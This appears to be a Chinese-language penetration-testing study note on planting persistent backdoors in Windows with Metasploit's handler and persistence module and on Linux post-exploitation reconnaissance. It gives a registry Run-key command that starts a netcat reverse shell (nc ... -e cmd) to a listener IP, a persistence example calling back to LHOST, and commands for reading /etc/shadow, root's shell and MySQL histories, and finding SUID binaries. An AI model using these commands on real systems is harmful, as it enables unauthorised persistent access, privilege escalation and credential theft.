windows后门植入和linux信息搜集

windows后门植入

持久化的监听:

handle:

1
2
3
4
5
-H    配置RHOST/LHOST(用于监听)
-P    配置RPORT/LPORT(用于监听)
-e    指定编码,连接时会对stage进行编码
-p    指定一个payload
-x    加上这个参数,后台监听就会关闭

持久化后门

msf中的持久化后门:

run persistence

1
2
3
4
5
6
7
8
9
-A 自动开启匹配的监听器等待用户连接
-P 指定payload,默认windows/meterpreter/reverse_tcp
-S 开机的时候以服务的方式去运行后门(system权限)
-T 指定一个模板
-U 用户登入的时候做一个反弹
-X 当系统运行的时候做一个反弹
-i 时间间隔(每隔几秒反弹一次)
-p 指定监听的端口
-r 监听器ip

example: run persistence -U -X -i -r LHOST -p LPORT

其他的persistence模块: search persistence

自启动后门:

注册表的方式{自启动路径很多}、服务的方式{sc 创建服务}、自启动文件夹{shell:startup},计划任务(只能反弹一次,在指定的时间反弹)

注册表的方式: reg add HKLM\.... /v xxx /f /d nc 192.168.1.135 4444 -e cmd

linux提权

信息搜集

id 查看当前的用户所在的组别信息

uname -a 查看内核版本的全部信息

cat /proc/version 查看内核版本的全部信息

cat /etc/*release 查看发行版信息

dpkg -l 查看安装包(根据安装的包的版本找漏洞)

crontab 计划任务

​ 1.指令的方式: crontab -e 计划任务的内容

​ 2.以文件的形式写计划任务: /etc/crontab ,以这种方式写计划任务,指令看不到内容

/sbin/ifconfig 查看网络的配置信息

cat /etc/passwd 普通用户可以查看,内容是账号密码信息(密码放在shadow里)

1
2
3
4
5
6
7
8
9
10
root:x:0:0:root:/root:/bin/bash
LOGNAME:PASSWORD:UID:GID:USERINFO:HOME:SHELL

root    用户名
x        占位符-->密码
0        uid
0        gid
root    描述信息
/root    家目录
/bin/bash    执行环境

cat /etc/shadow 特权用户才能查看,存放账号密码信息

cat /root/.mysql_history 查看数据库历史操作记录

​ 数据库: 查看数据库内容,读取文件,上传文件,提取

cat /root/.bash_history 查看历史操作记录

find / -perm -u=s -type f 2>/dev/nul 查找具有suid应用程序(默认以root权限执行的程序)

1
2
3
4
5
6
7
find     指令
/         根目录(查找位置)
-perm     权限
-u        用户(s=特权)
-type    类型
f        文件
2>/dev/nul    过滤错误信息(不显示错误信息)

​